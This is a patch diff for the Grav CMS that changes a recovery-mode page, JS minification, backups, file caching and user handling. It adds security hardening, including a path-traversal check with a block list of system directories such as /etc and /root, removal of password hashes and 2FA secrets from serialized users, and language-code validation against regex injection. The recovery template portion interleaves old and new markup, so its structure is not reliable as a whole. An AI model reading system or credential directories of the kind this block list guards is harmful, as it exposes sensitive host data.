.info-list li:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
.info-list .label {
|
||||
color: #94a3b8;
|
||||
min-width: 120px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.info-list .value {
|
||||
color: #e8e8e8;
|
||||
word-break: break-word;
|
||||
}
|
||||
input[type="text"] {
|
||||
width: 100%;
|
||||
padding: 12px 16px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.2);
|
||||
border-radius: 8px;
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
color: #fff;
|
||||
font-size: 0.95rem;
|
||||
margin-top: 8px;
|
||||
}
|
||||
input[type="text"]:focus {
|
||||
outline: none;
|
||||
border-color: #3b82f6;
|
||||
}
|
||||
label {
|
||||
color: #94a3b8;
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
.help-text {
|
||||
color: #64748b;
|
||||
font-size: 0.85rem;
|
||||
margin-top: 8px;
|
||||
}
|
||||
code {
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
padding: 2px 6px;
|
||||
border-radius: 4px;
|
||||
font-family: 'SF Mono', Monaco, 'Cascadia Code', monospace;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
.quarantine-list {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
.quarantine-list li {
|
||||
padding: 12px;
|
||||
background: rgba(245, 158, 11, 0.1);
|
||||
border-radius: 6px;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
.quarantine-list .plugin-name {
|
||||
font-weight: 600;
|
||||
color: #fcd34d;
|
||||
}
|
||||
.quarantine-list .plugin-time {
|
||||
color: #94a3b8;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
.snapshot-info {
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
border-radius: 8px;
|
||||
padding: 12px 16px;
|
||||
margin: 12px 0;
|
||||
}
|
||||
.snapshot-info code {
|
||||
color: #60a5fa;
|
||||
}
|
||||
.snapshot-info small {
|
||||
color: #64748b;
|
||||
display: block;
|
||||
margin-top: 4px;
|
||||
}
|
||||
@media (max-width: 600px) {
|
||||
body { padding: 12px; }
|
||||
.card { padding: 16px; }
|
||||
.btn-group { flex-direction: column; }
|
||||
button, .btn { width: 100%; justify-content: center; }
|
||||
.info-list li { flex-direction: column; gap: 4px; }
|
||||
.info-list .label { min-width: auto; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="panel">
|
||||
<h1><img src="system/assets/grav.png">Grav Recovery Mode</h1>
|
||||
<div class="container">
|
||||
<div class="header">
|
||||
<img src="<?php echo htmlspecialchars($baseUrl, ENT_QUOTES, 'UTF-8'); ?>/system/assets/grav.png" alt="Grav" onerror="this.style.display='none'">
|
||||
<h1>Recovery Mode</h1>
|
||||
<p class="subtitle">Grav has encountered an error during a recent update</p>
|
||||
</div>
|
||||
|
||||
<?php if ($notice): ?>
|
||||
<div class="message notice"><?php echo htmlspecialchars($notice, ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
<?php endif; ?>
|
||||
<?php if ($errorMessage): ?>
|
||||
<div class="message error"><?php echo htmlspecialchars($errorMessage, ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
<?php endif; ?>
|
||||
|
||||
<?php if (!$authenticated): ?>
|
||||
<p>This site is running in recovery mode because Grav detected a fatal error.</p>
|
||||
<p>Locate the recovery token in <code>user/data/recovery.flag</code> and enter it below.</p>
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="authenticate">
|
||||
<label for="token">Recovery token</label>
|
||||
<input id="token" name="token" type="text" autocomplete="one-time-code" required>
|
||||
<button type="submit">Unlock Recovery</button>
|
||||
</form>
|
||||
<?php else: ?>
|
||||
<div class="card">
|
||||
<h2>Failure Details</h2>
|
||||
<ul>
|
||||
<li><strong>Message:</strong> <?php echo htmlspecialchars($context['message'] ?? 'Unknown', ENT_QUOTES, 'UTF-8'); ?></li>
|
||||
<li><strong>File:</strong> <?php echo htmlspecialchars($context['file'] ?? 'n/a', ENT_QUOTES, 'UTF-8'); ?></li>
|
||||
<li><strong>Line:</strong> <?php echo htmlspecialchars((string)($context['line'] ?? 'n/a'), ENT_QUOTES, 'UTF-8'); ?></li>
|
||||
<?php if (!empty($context['plugin'])): ?>
|
||||
<li><strong>Quarantined plugin:</strong> <?php echo htmlspecialchars($context['plugin'], ENT_QUOTES, 'UTF-8'); ?></li>
|
||||
<?php endif; ?>
|
||||
</ul>
|
||||
<div class="alert alert-success">
|
||||
<span class="alert-icon">✓</span>
|
||||
<div class="alert-content"><?php echo $notice; ?></div>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
|
||||
<?php if ($quarantine): ?>
|
||||
<div class="card">
|
||||
<h3>Quarantined Plugins</h3>
|
||||
<ul>
|
||||
<?php foreach ($quarantine as $entry): ?>
|
||||
<li>
|
||||
<strong><?php echo htmlspecialchars($entry['slug'], ENT_QUOTES, 'UTF-8'); ?></strong>
|
||||
<small>(disabled at <?php echo date('c', $entry['disabled_at']); ?>)</small><br>
|
||||
<?php echo htmlspecialchars($entry['message'] ?? '', ENT_QUOTES, 'UTF-8'); ?>
|
||||
</li>
|
||||
<?php endforeach; ?>
|
||||
</ul>
|
||||
<?php if ($errorMessage): ?>
|
||||
<div class="alert alert-error">
|
||||
<span class="alert-icon">⚠</span>
|
||||
<div class="alert-content">
|
||||
<div class="alert-title">Action Failed</div>
|
||||
<?php echo htmlspecialchars($errorMessage, ENT_QUOTES, 'UTF-8'); ?>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
|
||||
<div class="card">
|
||||
<h3>Rollback</h3>
|
||||
<?php if ($latestSnapshot): ?>
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="rollback">
|
||||
<input type="hidden" name="manifest" value="<?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?>">
|
||||
<p>
|
||||
Latest snapshot:
|
||||
<code><?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?></code>
|
||||
<?php if (!empty($latestSnapshot['label'])): ?>
|
||||
<br><small><?php echo htmlspecialchars($latestSnapshot['label'], ENT_QUOTES, 'UTF-8'); ?></small>
|
||||
<?php endif; ?>
|
||||
— Grav <?php echo htmlspecialchars($latestSnapshot['target_version'] ?? 'unknown', ENT_QUOTES, 'UTF-8'); ?>
|
||||
<?php if (!empty($latestSnapshot['created_at'])): ?>
|
||||
<br><small>Created <?php echo htmlspecialchars(date('c', (int)$latestSnapshot['created_at']), ENT_QUOTES, 'UTF-8'); ?></small>
|
||||
<?php endif; ?>
|
||||
</p>
|
||||
<button type="submit" class="secondary">Rollback to Latest Snapshot</button>
|
||||
</form>
|
||||
<?php else: ?>
|
||||
<p>No upgrade snapshots were found.</p>
|
||||
<div class="alert alert-warning">
|
||||
<span class="alert-icon">⚠</span>
|
||||
<div class="alert-content">
|
||||
<div class="alert-title">A Fatal Error Occurred</div>
|
||||
Grav detected a fatal error after a recent upgrade and has entered recovery mode to protect your site.
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>Error Details</h2>
|
||||
<div class="error-summary">
|
||||
<div class="error-message"><?php echo htmlspecialchars($context['message'] ?? 'Unknown error', ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
<?php if (!empty($context['file'])): ?>
|
||||
<div class="error-location">
|
||||
<?php echo htmlspecialchars($context['file'], ENT_QUOTES, 'UTF-8'); ?><?php if (!empty($context['line'])): ?>:<?php echo htmlspecialchars((string)$context['line'], ENT_QUOTES, 'UTF-8'); ?><?php endif; ?>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="clear-flag">
|
||||
<button type="submit" class="secondary">Exit Recovery Mode</button>
|
||||
</form>
|
||||
<?php if (!empty($context['trace'])): ?>
|
||||
<details>
|
||||
<summary>View Stack Trace</summary>
|
||||
<div class="stack-trace"><?php echo htmlspecialchars($context['trace'], ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
</details>
|
||||
<?php endif; ?>
|
||||
|
||||
<?php if (!empty($context['plugin'])): ?>
|
||||
<details open>
|
||||
<summary>Affected Plugin</summary>
|
||||
<ul class="info-list" style="margin-top: 12px;">
|
||||
<li>
|
||||
<span class="label">Plugin</span>
|
||||
<span class="value"><strong><?php echo htmlspecialchars($context['plugin'], ENT_QUOTES, 'UTF-8'); ?></strong> (has been automatically disabled)</span>
|
||||
</li>
|
||||
</ul>
|
||||
</details>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
|
||||
<?php if ($quarantine): ?>
|
||||
<div class="card">
|
||||
<h2>Quarantined Plugins</h2>
|
||||
<p class="help-text" style="margin-top: 0;">These plugins have been automatically disabled due to errors:</p>
|
||||
<ul class="quarantine-list">
|
||||
<?php foreach ($quarantine as $entry): ?>
|
||||
<li>
|
||||
<span class="plugin-name"><?php echo htmlspecialchars($entry['slug'], ENT_QUOTES, 'UTF-8'); ?></span>
|
||||
<span class="plugin-time">Disabled at <?php echo date('Y-m-d H:i:s', $entry['disabled_at']); ?></span>
|
||||
<?php if (!empty($entry['message'])): ?>
|
||||
<div style="margin-top: 4px; font-size: 0.85rem; color: #94a3b8;"><?php echo htmlspecialchars($entry['message'], ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
<?php endif; ?>
|
||||
</li>
|
||||
<?php endforeach; ?>
|
||||
</ul>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
|
||||
<div class="card">
|
||||
<h2>What would you like to do?</h2>
|
||||
<p style="margin-top: 0; color: #94a3b8;">Choose an action to resolve this issue:</p>
|
||||
|
||||
<div class="btn-group">
|
||||
<form method="post" style="display: contents;">
|
||||
<input type="hidden" name="action" value="clear-flag">
|
||||
<button type="submit" class="btn btn-primary">Clear Recovery & Continue</button>
|
||||
</form>
|
||||
<form method="post" style="display: contents;">
|
||||
<input type="hidden" name="action" value="disable-recovery">
|
||||
<button type="submit" class="btn btn-secondary" title="Prevents recovery mode from activating in the future">Disable Recovery Mode</button>
|
||||
</form>
|
||||
</div>
|
||||
<p class="help-text">
|
||||
<strong>Clear Recovery & Continue:</strong> Clears the recovery flag and attempts to load your site normally.<br>
|
||||
<strong>Disable Recovery Mode:</strong> Sets <code>updates.recovery_mode: false</code> in your configuration so recovery mode won't trigger again.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<?php if ($latestSnapshot): ?>
|
||||
<div class="card">
|
||||
<h2>Rollback to Previous Version</h2>
|
||||
<p style="margin-top: 0; color: #94a3b8;">If the error persists, you can rollback to a previous Grav version.</p>
|
||||
|
||||
<div class="snapshot-info">
|
||||
<code><?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?></code>
|
||||
<?php if (!empty($latestSnapshot['label'])): ?>
|
||||
<small><?php echo htmlspecialchars($latestSnapshot['label'], ENT_QUOTES, 'UTF-8'); ?></small>
|
||||
<?php endif; ?>
|
||||
<small>Grav <?php echo htmlspecialchars($latestSnapshot['target_version'] ?? 'unknown', ENT_QUOTES, 'UTF-8'); ?> — Created <?php echo date('Y-m-d H:i:s', (int)$latestSnapshot['created_at']); ?></small>
|
||||
</div>
|
||||
|
||||
<?php if (!$authenticated): ?>
|
||||
<p class="help-text">To rollback, enter the recovery token found in <code>user/data/recovery.flag</code></p>
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="authenticate">
|
||||
<label for="token">Recovery Token</label>
|
||||
<input id="token" name="token" type="text" autocomplete="one-time-code" placeholder="Enter token from recovery.flag" required>
|
||||
<div class="btn-group">
|
||||
<button type="submit" class="btn btn-secondary">Authenticate for Rollback</button>
|
||||
</div>
|
||||
</form>
|
||||
<?php else: ?>
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="rollback">
|
||||
<input type="hidden" name="manifest" value="<?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?>">
|
||||
<div class="btn-group">
|
||||
<button type="submit" class="btn btn-danger">Rollback to This Snapshot</button>
|
||||
</div>
|
||||
</form>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
@@ -472,7 +472,23 @@ class Assets extends PropertyObject
|
||||
$group_attributes = array_merge($attributes, $pipeline_group['attributes']);
|
||||
|
||||
$pipeline = new Pipeline($options);
|
||||
$pipeline_output .= $pipeline->$render_pipeline($pipeline_group['assets'], $group, $group_attributes);
|
||||
$result = $pipeline->$render_pipeline($pipeline_group['assets'], $group, $group_attributes);
|
||||
|
||||
// Handle different return types from pipeline
|
||||
if ($result === false) {
|
||||
// No assets to render
|
||||
continue;
|
||||
} elseif (is_array($result)) {
|
||||
// Array result contains pipelined output and any failed assets
|
||||
$pipeline_output .= $result['output'];
|
||||
// Render failed assets individually (they couldn't be minified)
|
||||
foreach ($result['failed'] as $asset) {
|
||||
$pipeline_output .= $asset->render();
|
||||
}
|
||||
} else {
|
||||
// String result (no minification or CSS)
|
||||
$pipeline_output .= $result;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
foreach ($pipeline_assets as $asset) {
|
||||
|
||||
@@ -11,6 +11,7 @@ namespace Grav\Common\Assets;
|
||||
|
||||
use Grav\Common\Assets\Traits\AssetUtilsTrait;
|
||||
use Grav\Common\Config\Config;
|
||||
use Grav\Common\Debugger;
|
||||
use Grav\Common\Filesystem\Folder;
|
||||
use Grav\Common\Grav;
|
||||
use Grav\Common\Uri;
|
||||
@@ -170,7 +171,9 @@ class Pipeline extends PropertyObject
|
||||
* @param array $assets
|
||||
* @param string $group
|
||||
* @param array $attributes
|
||||
* @return bool|string URL or generated content if available, else false
|
||||
* @param int $type
|
||||
* @return array{output: string, failed: array}|string|false Returns array with output and failed assets when minifying,
|
||||
* string when not minifying, or false if no assets
|
||||
*/
|
||||
public function renderJs($assets, $group, $attributes = [], $type = self::JS_ASSET)
|
||||
{
|
||||
@@ -185,42 +188,55 @@ class Pipeline extends PropertyObject
|
||||
// Store Attributes
|
||||
$this->attributes = $attributes;
|
||||
|
||||
// Compute uid based on assets and timestamp
|
||||
$json_assets = json_encode($assets);
|
||||
$uid = md5($json_assets . $this->js_minify . $group);
|
||||
$file = $uid . '.js';
|
||||
$relative_path = "{$this->base_url}{$this->assets_url}/{$file}";
|
||||
|
||||
$filepath = "{$this->assets_dir}/{$file}";
|
||||
if (file_exists($filepath)) {
|
||||
$buffer = file_get_contents($filepath) . "\n";
|
||||
} else {
|
||||
//if nothing found get out of here!
|
||||
if (empty($assets)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Concatenate files
|
||||
$buffer = $this->gatherLinks($assets, $type);
|
||||
|
||||
// Minify if required
|
||||
if ($this->shouldMinify('js')) {
|
||||
$buffer = JSMinifier::minify($buffer);
|
||||
}
|
||||
|
||||
// Write file
|
||||
if (trim($buffer) !== '') {
|
||||
file_put_contents($filepath, $buffer);
|
||||
}
|
||||
//if nothing found get out of here!
|
||||
if (empty($assets)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if ($inline_group) {
|
||||
$shouldMinify = $this->shouldMinify('js');
|
||||
$failedAssets = [];
|
||||
|
||||
// When minifying, process each file individually to isolate failures
|
||||
if ($shouldMinify) {
|
||||
$result = $this->gatherAndMinifyJs($assets, $type);
|
||||
$buffer = $result['buffer'];
|
||||
$failedAssets = $result['failed'];
|
||||
|
||||
// Compute uid based on successful assets only
|
||||
$successfulAssets = array_diff_key($assets, array_flip(array_keys($failedAssets)));
|
||||
$json_assets = json_encode($successfulAssets);
|
||||
} else {
|
||||
$buffer = $this->gatherLinks($assets, $type);
|
||||
$json_assets = json_encode($assets);
|
||||
}
|
||||
|
||||
$uid = md5($json_assets . (int)$shouldMinify . $group);
|
||||
$file = $uid . '.js';
|
||||
$relative_path = "{$this->base_url}{$this->assets_url}/{$file}";
|
||||
$filepath = "{$this->assets_dir}/{$file}";
|
||||
|
||||
// Check for cached version (only if no failed assets, as cache key changes)
|
||||
if (empty($failedAssets) && file_exists($filepath)) {
|
||||
$buffer = file_get_contents($filepath) . "\n";
|
||||
} elseif (trim($buffer) !== '') {
|
||||
// Write file
|
||||
file_put_contents($filepath, $buffer);
|
||||
}
|
||||
|
||||
if (trim($buffer) === '') {
|
||||
$output = '';
|
||||
} elseif ($inline_group) {
|
||||
$output = '<script' . $this->renderAttributes(). ">\n" . $buffer . "\n</script>\n";
|
||||
} else {
|
||||
$this->asset = $relative_path;
|
||||
$output = '<script src="' . $relative_path . $this->renderQueryString() . '"' . $this->renderAttributes() . BaseAsset::integrityHash($this->asset) . "></script>\n";
|
||||
}
|
||||
|
||||
// Return array with failed assets if minifying, otherwise just the output string
|
||||
if ($shouldMinify) {
|
||||
return ['output' => $output, 'failed' => $failedAssets];
|
||||
}
|
||||
|
||||
return $output;
|
||||
}
|
||||
|
||||
@@ -341,4 +357,75 @@ class Pipeline extends PropertyObject
|
||||
|
||||
return $minify;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gather JS files and minify each one individually.
|
||||
* Files that fail minification are tracked and returned separately.
|
||||
*
|
||||
* @param array $assets Array of asset objects
|
||||
* @param int $type Asset type (JS_ASSET or JS_MODULE_ASSET)
|
||||
* @return array{buffer: string, failed: array} Combined minified content and failed assets
|
||||
*/
|
||||
private function gatherAndMinifyJs(array $assets, int $type): array
|
||||
{
|
||||
$buffer = '';
|
||||
$failed = [];
|
||||
|
||||
/** @var Debugger $debugger */
|
||||
$debugger = Grav::instance()['debugger'];
|
||||
|
||||
foreach ($assets as $key => $asset) {
|
||||
$local = true;
|
||||
$link = $asset->getAsset();
|
||||
$relative_path = $link;
|
||||
|
||||
if (static::isRemoteLink($link)) {
|
||||
$local = false;
|
||||
if (str_starts_with((string) $link, '//')) {
|
||||
$link = 'http:' . $link;
|
||||
}
|
||||
$relative_dir = dirname((string) $relative_path);
|
||||
} else {
|
||||
// Fix to remove relative dir if grav is in one
|
||||
if (($this->base_url !== '/') && Utils::startsWith($relative_path, $this->base_url)) {
|
||||
$base_url = '#' . preg_quote($this->base_url, '#') . '#';
|
||||
$relative_path = ltrim((string) preg_replace($base_url, '/', (string) $link, 1), '/');
|
||||
}
|
||||
|
||||
$relative_dir = dirname((string) $relative_path);
|
||||
$link = GRAV_ROOT . '/' . $relative_path;
|
||||
}
|
||||
|
||||
$file = $this->fetch_command instanceof \Closure ? @$this->fetch_command->__invoke($link) : @file_get_contents($link);
|
||||
|
||||
// No file found, skip it...
|
||||
if ($file === false) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ensure proper termination
|
||||
$file = rtrim((string) $file, ' ;') . ';';
|
||||
|
||||
// Rewrite imports for JS modules
|
||||
if ($type === self::JS_MODULE_ASSET) {
|
||||
$file = $this->jsRewrite($file, $relative_dir, $local);
|
||||
}
|
||||
|
||||
// Try to minify this individual file
|
||||
try {
|
||||
$file = JSMinifier::minify($file);
|
||||
$file = rtrim($file) . PHP_EOL;
|
||||
$buffer .= $file;
|
||||
} catch (\Exception $e) {
|
||||
// Track failed asset for individual rendering
|
||||
$failed[$key] = $asset;
|
||||
|
||||
$message = "JS Minification failed for '{$asset->getAsset()}': {$e->getMessage()}";
|
||||
$debugger->addMessage($message, 'error');
|
||||
Grav::instance()['log']->error($message);
|
||||
}
|
||||
}
|
||||
|
||||
return ['buffer' => $buffer, 'failed' => $failed];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -89,8 +89,9 @@ class Backups
|
||||
$at = $profile['schedule_at'];
|
||||
$name = $inflector::hyphenize($profile['name']);
|
||||
$logs = 'logs/backup-' . $name . '.out';
|
||||
$environment = $profile['schedule_environment'] ?? null;
|
||||
/** @var Job $job */
|
||||
$job = $scheduler->addFunction('Grav\Common\Backup\Backups::backup', [$id], $name);
|
||||
$job = $scheduler->addFunction('Grav\Common\Backup\Backups::backup', [$id, null, $environment], $name);
|
||||
$job->at($at);
|
||||
$job->output($logs);
|
||||
$job->backlink('/tools/backups');
|
||||
@@ -192,12 +193,19 @@ class Backups
|
||||
*
|
||||
* @param int $id
|
||||
* @param callable|null $status
|
||||
* @param string|null $environment Optional environment to load config from
|
||||
* @return string|null
|
||||
*/
|
||||
public static function backup($id = 0, ?callable $status = null)
|
||||
public static function backup($id = 0, ?callable $status = null, ?string $environment = null)
|
||||
{
|
||||
$grav = Grav::instance();
|
||||
|
||||
// If environment is specified and different from current, reload config
|
||||
if ($environment && $environment !== $grav['config']->get('setup.environment')) {
|
||||
$grav->setup($environment);
|
||||
$grav['config']->reload();
|
||||
}
|
||||
|
||||
$profiles = static::getBackupProfiles();
|
||||
/** @var UniformResourceLocator $locator */
|
||||
$locator = $grav['locator'];
|
||||
@@ -225,6 +233,30 @@ class Backups
|
||||
throw new RuntimeException("Backup location: {$backup_root} does not exist...");
|
||||
}
|
||||
|
||||
// Security: Resolve real path and ensure it's within GRAV_ROOT to prevent path traversal
|
||||
$realBackupRoot = realpath($backup_root);
|
||||
$realGravRoot = realpath(GRAV_ROOT);
|
||||
|
||||
if ($realBackupRoot === false || $realGravRoot === false) {
|
||||
throw new RuntimeException("Invalid backup location: {$backup_root}");
|
||||
}
|
||||
|
||||
// Check if backup root is within GRAV_ROOT
|
||||
$isWithinGravRoot = strpos($realBackupRoot, $realGravRoot) === 0;
|
||||
|
||||
// Only apply blocklist to paths outside GRAV_ROOT to prevent backing up system directories
|
||||
// This allows backups within Grav installations under /var/www while still blocking /var/log, etc.
|
||||
if (!$isWithinGravRoot) {
|
||||
$blockedPaths = ['/etc', '/root', '/home', '/var', '/usr', '/bin', '/sbin', '/tmp', '/proc', '/sys', '/dev'];
|
||||
foreach ($blockedPaths as $blocked) {
|
||||
if (strpos($realBackupRoot, $blocked) === 0) {
|
||||
throw new RuntimeException("Backup location not allowed: {$backup_root}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$backup_root = $realBackupRoot;
|
||||
|
||||
$options = [
|
||||
'exclude_files' => static::convertExclude($backup->exclude_files ?? ''),
|
||||
'exclude_paths' => static::convertExclude($backup->exclude_paths ?? ''),
|
||||
|
||||
@@ -28,6 +28,7 @@ trait CompiledFile
|
||||
/**
|
||||
* Get/set parsed file contents.
|
||||
*
|
||||
* @param mixed $var
|
||||
* @return array
|
||||
*/
|
||||
public function content(mixed $var = null)
|
||||
@@ -36,19 +37,44 @@ trait CompiledFile
|
||||
$filename = $this->filename;
|
||||
// If nothing has been loaded, attempt to get pre-compiled version of the file first.
|
||||
if ($var === null && $this->raw === null && $this->content === null) {
|
||||
$key = md5((string) $filename);
|
||||
$key = md5($filename);
|
||||
$file = PhpFile::instance(CACHE_DIR . "compiled/files/{$key}{$this->extension}.php");
|
||||
$cacheFilename = $file->filename();
|
||||
|
||||
// Always check file modification time for cache invalidation.
|
||||
// This respects Grav's cache.check.method setting and user expectations.
|
||||
// filemtime() is cheap and ensures changes are detected.
|
||||
$modified = $this->modified();
|
||||
if (!$modified) {
|
||||
|
||||
// If file hasn't been modified and cache exists, load from compiled cache.
|
||||
// When opcache is enabled, this benefits from bytecode caching.
|
||||
if (!$modified && is_file($cacheFilename)) {
|
||||
try {
|
||||
return $this->decode($this->raw());
|
||||
// Include the file directly to trigger loading from opcache
|
||||
$var = (array) include $cacheFilename;
|
||||
|
||||
if (is_array($var) && isset($var['data'])) {
|
||||
$var = $var['data'];
|
||||
} else {
|
||||
$var = null;
|
||||
}
|
||||
|
||||
if (!is_array($var)) {
|
||||
$var = $this->decode($this->raw());
|
||||
}
|
||||
|
||||
return $var;
|
||||
} catch (Throwable) {
|
||||
// If the compiled file is broken, we can safely ignore the error and continue.
|
||||
}
|
||||
}
|
||||
|
||||
$class = $this::class;
|
||||
$class = get_class($this);
|
||||
|
||||
// Check if the source file exists before getting its size
|
||||
if (!is_file($filename)) {
|
||||
return parent::content($var);
|
||||
}
|
||||
|
||||
$size = filesize($filename);
|
||||
$cache = $file->exists() ? $file->content() : null;
|
||||
@@ -88,11 +114,9 @@ trait CompiledFile
|
||||
|
||||
// Compile cached file into bytecode cache
|
||||
if (function_exists('opcache_invalidate') && filter_var(ini_get('opcache.enable'), \FILTER_VALIDATE_BOOLEAN)) {
|
||||
$lockName = $file->filename();
|
||||
|
||||
// Silence error if function exists, but is restricted.
|
||||
@opcache_invalidate($lockName, true);
|
||||
@opcache_compile_file($lockName);
|
||||
@opcache_invalidate($cacheFilename, true);
|
||||
@opcache_compile_file($cacheFilename);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -134,7 +158,7 @@ trait CompiledFile
|
||||
if ($locked) {
|
||||
$modified = $this->modified();
|
||||
$filename = $this->filename;
|
||||
$class = $this::class;
|
||||
$class = get_class($this);
|
||||
$size = filesize($filename);
|
||||
|
||||
// windows doesn't play nicely with this as it can't read when locked
|
||||
@@ -158,10 +182,10 @@ trait CompiledFile
|
||||
|
||||
// Compile cached file into bytecode cache
|
||||
if (function_exists('opcache_invalidate') && filter_var(ini_get('opcache.enable'), \FILTER_VALIDATE_BOOLEAN)) {
|
||||
$lockName = $file->filename();
|
||||
$cacheFilename = $file->filename();
|
||||
// Silence error if function exists, but is restricted.
|
||||
@opcache_invalidate($lockName, true);
|
||||
@opcache_compile_file($lockName);
|
||||
@opcache_invalidate($cacheFilename, true);
|
||||
@opcache_compile_file($cacheFilename);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -349,6 +349,22 @@ class UserObject extends FlexObject implements UserInterface, Countable
|
||||
return $this->getGroups();
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritdoc}
|
||||
* Override to filter out sensitive fields like password hashes
|
||||
*/
|
||||
public function jsonSerialize(): array
|
||||
{
|
||||
$elements = parent::jsonSerialize();
|
||||
|
||||
// Security: Remove sensitive fields that should never be exposed to frontend
|
||||
unset($elements['hashed_password']);
|
||||
unset($elements['secret']); // 2FA secret
|
||||
unset($elements['twofa_secret']); // Alternative 2FA field name
|
||||
|
||||
return $elements;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert object into an array.
|
||||
*
|
||||
@@ -583,10 +599,19 @@ class UserObject extends FlexObject implements UserInterface, Countable
|
||||
{
|
||||
// TODO: We may want to handle this in the storage layer in the future.
|
||||
$key = $this->getStorageKey();
|
||||
if (!$key || strpos($key, '@@')) {
|
||||
$isNewUser = !$key || strpos($key, '@@');
|
||||
|
||||
if ($isNewUser) {
|
||||
$storage = $this->getFlexDirectory()->getStorage();
|
||||
if ($storage instanceof FileStorage) {
|
||||
$this->setStorageKey($this->getKey());
|
||||
$newKey = $this->getKey();
|
||||
|
||||
// Check if a user with this username already exists (prevent overwriting)
|
||||
if ($storage->hasKey($newKey)) {
|
||||
throw new RuntimeException('User account with this username already exists');
|
||||
}
|
||||
|
||||
$this->setStorageKey($newKey);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -134,7 +134,17 @@ class Language
|
||||
*/
|
||||
public function setLanguages($langs)
|
||||
{
|
||||
$this->languages = $langs;
|
||||
// Validate and sanitize language codes to prevent regex injection
|
||||
$validLangs = [];
|
||||
foreach ((array)$langs as $lang) {
|
||||
$lang = (string)$lang;
|
||||
// Only allow valid language codes (alphanumeric, hyphens, underscores)
|
||||
// Examples: en, en-US, en_US, zh-Hans, pt-BR
|
||||
if (preg_match('/^[a-zA-Z]{2,3}(?:[-_][a-zA-Z0-9]{2,8})?$/', $lang)) {
|
||||
$validLangs[] = $lang;
|
||||
}
|
||||
}
|
||||
$this->languages = $validLangs;
|
||||
|
||||
$this->init();
|
||||
}
|
||||
@@ -234,7 +244,8 @@ class Language
|
||||
*/
|
||||
public function setActiveFromUri($uri)
|
||||
{
|
||||
$regex = '/(^\/(' . $this->getAvailable() . '))(?:\/|\?|$)/i';
|
||||
// Pass delimiter '/' to getAvailable() to properly escape language codes for regex
|
||||
$regex = '/(^\/(' . $this->getAvailable('/') . '))(?:\/|\?|$)/i';
|
||||
|
||||
// if languages set
|
||||
if ($this->enabled()) {
|
||||
|
||||
@@ -156,6 +156,7 @@ class RecoveryManager
|
||||
'message' => $exception->getMessage(),
|
||||
'file' => $exception->getFile(),
|
||||
'line' => $exception->getLine(),
|
||||
'trace' => $exception->getTraceAsString(),
|
||||
];
|
||||
|
||||
$this->processFailure($error);
|
||||
@@ -222,6 +223,7 @@ class RecoveryManager
|
||||
'line' => $error['line'] ?? null,
|
||||
'type' => $type,
|
||||
'plugin' => $plugin,
|
||||
'trace' => $error['trace'] ?? null,
|
||||
];
|
||||
|
||||
if (!$this->shouldEnterRecovery($context)) {
|
||||
@@ -344,10 +346,16 @@ class RecoveryManager
|
||||
return null;
|
||||
}
|
||||
|
||||
// Standard path: /user/plugins/plugin-name/
|
||||
if (preg_match('#/user/plugins/([^/]+)/#', $file, $matches)) {
|
||||
return $matches[1] ?? null;
|
||||
}
|
||||
|
||||
// Symlinked plugin path: /grav-plugin-plugin-name/ (common dev setup)
|
||||
if (preg_match('#/grav-plugin-([^/]+)/#', $file, $matches)) {
|
||||
return $matches[1] ?? null;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -400,6 +408,11 @@ class RecoveryManager
|
||||
*/
|
||||
private function shouldEnterRecovery(array $context): bool
|
||||
{
|
||||
// Check if recovery mode is enabled in config
|
||||
if (!$this->isEnabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$window = $this->resolveUpgradeWindow();
|
||||
if (null === $window) {
|
||||
return false;
|
||||
@@ -416,6 +429,31 @@ class RecoveryManager
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
